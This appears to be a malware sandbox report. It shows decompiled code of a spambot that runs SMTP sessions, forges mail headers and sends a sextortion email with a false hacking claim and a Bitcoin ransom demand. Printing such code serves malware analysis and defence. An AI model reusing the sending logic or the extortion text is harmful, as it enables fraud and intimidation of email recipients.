0x00c71fcb
0x00c71fcb
0x00c71fa8
0x00c71fa8
0x00c71fa8
0x00c71f38
0x00c71f38
0x00c71f38
0x00c71eec
0x00c71eec
0x00c71eec
0x00c71ea2
0x00c71ea2
0x00c71ea2
0x00c71e59
0x00c71e59
0x00c71e59
0x00c71e10
0x00c71e10
0x00c71e10
0x00c71da0
0x00c71da0
0x00c71da0
0x00000000
0x00000000
0x00c721f2
0x00c721f9
0x00c721fd
0x00c72205
0x00000000
0x00000000
0x00c71af1
0x00000000
0x00c71af1
0x00c71acb
0x00000000
0x00c71acb
0x00c71ac9
0x00c72211
0x00c7221a
0x00c72223
0x00c7222d
0x00c72239
0x00c72239

APIs

wsprintfA.USER32 ref: 00C71C37

Part of subcall function 00C71120: lstrlenA.KERNEL32(?), ref: 00C7112D
Part of subcall function 00C71120: send.WS2_32(?,?,000000FF,00000000), ref: 00C71144

shutdown.WS2_32(000000FF,00000002), ref: 00C72223
closesocket.WS2_32(000000FF), ref: 00C7222D

Strings

RCPT TO: <%s>, xrefs: 00C71C2B

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: closesocketlstrlensendshutdownwsprintf
String ID: RCPT TO: <%s>
API String ID: 1492768164-1854338671
Opcode ID: 03ec9d5588431a0f21bf89d6a42a778d1013f698559fb99f362a1791a5a42b13
Instruction ID: 3f5086c936581cfc052bee2bbfc1a603396aa1e8857a26af6a7aba4f31d2a495
Opcode Fuzzy Hash: 03ec9d5588431a0f21bf89d6a42a778d1013f698559fb99f362a1791a5a42b13
Instruction Fuzzy Hash: 19114CB1D00218DFCF14DBA5DC49BEEB778BB48354F04C1A9EA0D66241E7788A94DF64

Uniqueness

Uniqueness Score: -1.00%

Function 00C71C7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00C71C7C(void* __eflags) {
				void* _t166;
				intOrPtr _t170;
				void* _t171;
				void* _t192;
				void* _t194;
				void* _t195;
				void* _t197;

				L0:
				while(1) {
					L0:
					_t166 = E00C71120( *((intOrPtr*)(_t192 - 0x1c)), "DATA\r\n", 0xffffffff); // executed
					_t195 = _t194 + 0xc;
					if(_t166 != 0) {
						 *(_t192 - 0x20) = 6;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t192 - 0x20) != 0 &&  *(_t192 - 0x20) != 8) {
						_t170 = E00C71160( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490, 0x400); // executed
						_t197 = _t195 + 0xc;
						 *((intOrPtr*)(_t192 - 0x90)) = _t170;
						if( *((intOrPtr*)(_t192 - 0x90)) != 0) {
							L5:
							 *((char*)(_t192 +  *((intOrPtr*)(_t192 - 0x90)) - 0x490)) = 0;
							_t171 = E00C711C0(_t192 - 0x490);
							_t195 = _t197 + 4;
							if(_t171 != 0) {
								L7:
								 *(_t192 - 0x718) =  *(_t192 - 0x20);
								 *(_t192 - 0x718) =  *(_t192 - 0x718) - 1;
								if( *(_t192 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t192 - 0x718) * 4 +  &M00C7223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t192 - 0x490) == 0) {
											_t175 = wsprintfA(_t192 - 0x490, "HELO %s\r\n", "[102.129.143.97]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t175;
										} else {
											_t178 = wsprintfA(_t192 - 0x490, "EHLO %s\r\n", "[102.129.143.97]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t178;
										}
										_t177 = E00C71120( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490,  *(_t192 - 0x494)); // executed
										_t195 = _t198 + 0xc;
										if(_t177 != 0) {
											 *(_t192 - 0x20) = 3;
										} else {
											 *(_t192 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										goto L0;
									case 5:
										L24:
										__ecx = __ebp - 0x61c;
										E00C71320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E00C71490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E00C71490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E00C71390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E00C71320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E00C71320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E00C71320(__ecx, 6, __ecx) = E00C71320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E00C71120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		if(E00C71120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff) != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			if(E00C71120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E00C71120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), "QUIT", 0xffffffff);
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t192 - 8) = 0 |  *(_t192 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t192 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t192 - 0x1c))); // executed
					return  *(_t192 - 8);
				}
			}

0x00c71c7c
0x00c71c7c
0x00c71c7c
0x00c71c87
0x00c71c8c
0x00c71c91
0x00c71c9f
0x00c71c93
0x00c71c93
0x00c71c93
0x00000000
0x00c7220c
0x00c71ab4
0x00c71ab9
0x00c71abc
0x00c71ac9
0x00c71ad0
0x00c71ad6
0x00c71ae5
0x00c71aea
0x00c71aef
0x00c71af6
0x00c71af9
0x00c71b08
0x00c71b15
0x00000000
0x00000000
0x00c71b1b
0x00c71b21
0x00000000
0x00c71b28
0x00c71b28
0x00c71b3c
0x00c71b71
0x00c71b77
0x00c71b7a
0x00c71b3e
0x00c71b4f
0x00c71b55
0x00c71b58
0x00c71b58
0x00c71b92
0x00c71b97
0x00c71b9c
0x00c71baa
0x00c71b9e
0x00c71b9e
0x00c71b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00c71bb6
0x00c71bb6
0x00c71bbf
0x00c71bc6
0x00c71bcc
0x00c71bdb
0x00c71be2
0x00c71be8
0x00c71beb
0x00c71bf1
0x00c71bff
0x00c71c03
0x00c71c0d
0x00c71c1b
0x00c71c0f
0x00c71c0f
0x00c71c0f
0x00000000
0x00000000
0x00c71c27
0x00c71c27
0x00c71c37
0x00c71c3d
0x00c71c40
0x00c71c46
0x00c71c4d
0x00c71c58
0x00c71c62
0x00c71c70
0x00c71c64
0x00c71c64
0x00c71c64
0x00000000
0x00000000
0x00000000
0x00000000
0x00c71cab
0x00c71cab
0x00c71cc9
0x00c71ccf
0x00c71cdd
0x00c71cea
0x00c71cf2
0x00c71cfb
0x00c71d0a
0x00c71d11
0x00c71d16
0x00c71d17
0x00c71d1c
0x00c71d1c
0x00c71d22
0x00c71d27
0x00c71d28
0x00c71d2d
0x00c71d2d
0x00c71d33
0x00c71d38
0x00c71d39
0x00c71d3e
0x00c71d3e
0x00c71d44
0x00c71d49
0x00c71d4a
0x00c71d4f
0x00c71d6c
0x00c71d73
0x00c71d79
0x00c71d7c
0x00c71d82
0x00c71d90
0x00c71d94
0x00c71d9e
0x00c71dac
0x00c71dc5
0x00c71dce
0x00c71ddc
0x00c71de3
0x00c71de9
0x00c71dec
0x00c71df9
0x00c71e00
0x00c71e04
0x00c71e0e
0x00c71e25
0x00c71e2c
0x00c71e32
0x00c71e35
0x00c71e3b
0x00c71e49
0x00c71e57
0x00c71e65
0x00c71e75
0x00c71e7b
0x00c71e7e
0x00c71e84
0x00c71e8b
0x00c71ea0
0x00c71eb8
0x00c71ebf
0x00c71ec5
0x00c71ec8
0x00c71ece
0x00c71edc
0x00c71eea
0x00c71ef8
0x00c71f0b
0x00c71f11
0x00c71f14
0x00c71f1a
0x00c71f21
0x00c71f36
0x00c71f44
0x00c71f4b
0x00c71f66
0x00c71f74
0x00c71f7b
0x00c71f81
0x00c71f84
0x00c71f8a
0x00c71f98
0x00c71fa6
0x00c71fbb
0x00c71fc9
0x00c71fec
0x00c72008
0x00c72015
0x00c72030
0x00c72044
0x00c72051
0x00c72080
0x00c7208d
0x00c720bc
0x00c720c9
0x00c720e1
0x00c720ef
0x00c72104
0x00c7211f
0x00c72133
0x00c72140
0x00c7216f
0x00c7217c
0x00c721ab
0x00c721b8
0x00c721d0
0x00c721de
0x00c721e9
0x00c721e0
0x00c721e0
0x00c721e0
0x00c720f1
0x00c720f1
0x00c720f1
0x00c71fee
0x00c71fee
0x00c71fee
0x00c71fcb
0x00c71fcb
0x00c71fcb
0x00c71fa8
0x00c71fa8
0x00c71fa8
0x00c71f38
0x00c71f38
0x00c71f38
0x00c71eec
0x00c71eec
0x00c71eec
0x00c71ea2
0x00c71ea2
0x00c71ea2
0x00c71e59
0x00c71e59
0x00c71e59
0x00c71e10
0x00c71e10
0x00c71e10
0x00c71da0
0x00c71da0
0x00c71da0
0x00000000
0x00000000
0x00c721f2
0x00c721f9
0x00c721fd
0x00c72205
0x00000000
0x00000000
0x00c71af1
0x00000000
0x00c71af1
0x00c71acb
0x00000000
0x00c71acb
0x00c71ac9
0x00c72211
0x00c7221a
0x00c72223
0x00c7222d
0x00c72239
0x00c72239

APIs

Part of subcall function 00C71120: lstrlenA.KERNEL32(?), ref: 00C7112D
Part of subcall function 00C71120: send.WS2_32(?,?,000000FF,00000000), ref: 00C71144

shutdown.WS2_32(000000FF,00000002), ref: 00C72223
closesocket.WS2_32(000000FF), ref: 00C7222D

Strings

DATA, xrefs: 00C71C7E

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: closesocketlstrlensendshutdown
String ID: DATA
API String ID: 317823648-550793329
Opcode ID: 3628b2e844014427d1e9c3c940a38b28b5a08ad5dcced5bcaddf8eeb365e0c9d
Instruction ID: 80544cd165fbb34a8f36622db0b2915499065762933e708472537888e09cceb9
Opcode Fuzzy Hash: 3628b2e844014427d1e9c3c940a38b28b5a08ad5dcced5bcaddf8eeb365e0c9d
Instruction Fuzzy Hash: 87015EB1D00218DBCF10DBA5DC49BEEB778BB44364F048265E91D76291D7788584DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00C721F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00C721F2(void* __eflags) {
				intOrPtr _t169;
				void* _t170;
				void* _t192;
				void* _t194;
				void* _t195;
				void* _t197;

				L0:
				while(1) {
					L0:
					E00C71120( *((intOrPtr*)(_t192 - 0x1c)), "QUIT", 0xffffffff);
					_t195 = _t194 + 0xc;
					 *(_t192 - 0x20) = 8;
					L48:
					while( *(_t192 - 0x20) != 0 &&  *(_t192 - 0x20) != 8) {
						_t169 = E00C71160( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490, 0x400); // executed
						_t197 = _t195 + 0xc;
						 *((intOrPtr*)(_t192 - 0x90)) = _t169;
						if( *((intOrPtr*)(_t192 - 0x90)) != 0) {
							L5:
							 *((char*)(_t192 +  *((intOrPtr*)(_t192 - 0x90)) - 0x490)) = 0;
							_t170 = E00C711C0(_t192 - 0x490);
							_t195 = _t197 + 4;
							if(_t170 != 0) {
								L7:
								 *(_t192 - 0x718) =  *(_t192 - 0x20);
								 *(_t192 - 0x718) =  *(_t192 - 0x718) - 1;
								if( *(_t192 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t192 - 0x718) * 4 +  &M00C7223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t192 - 0x490) == 0) {
											_t174 = wsprintfA(_t192 - 0x490, "HELO %s\r\n", "[102.129.143.97]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t174;
										} else {
											_t177 = wsprintfA(_t192 - 0x490, "EHLO %s\r\n", "[102.129.143.97]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t177;
										}
										_t176 = E00C71120( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490,  *(_t192 - 0x494)); // executed
										_t195 = _t198 + 0xc;
										if(_t176 != 0) {
											 *(_t192 - 0x20) = 3;
										} else {
											 *(_t192 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L22:
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L25:
										__ecx = __ebp - 0x61c;
										E00C71320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E00C71490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E00C71490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t59 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t63 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t67 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t71 = __eax % 0xd2;
										E00C71390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t71 + 1, _t67 + 1, _t63 + 1, _t59 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E00C71320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E00C71320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E00C71320(__ecx, 6, __ecx) = E00C71320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E00C71120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		if(E00C71120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff) != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			if(E00C71120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E00C71120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
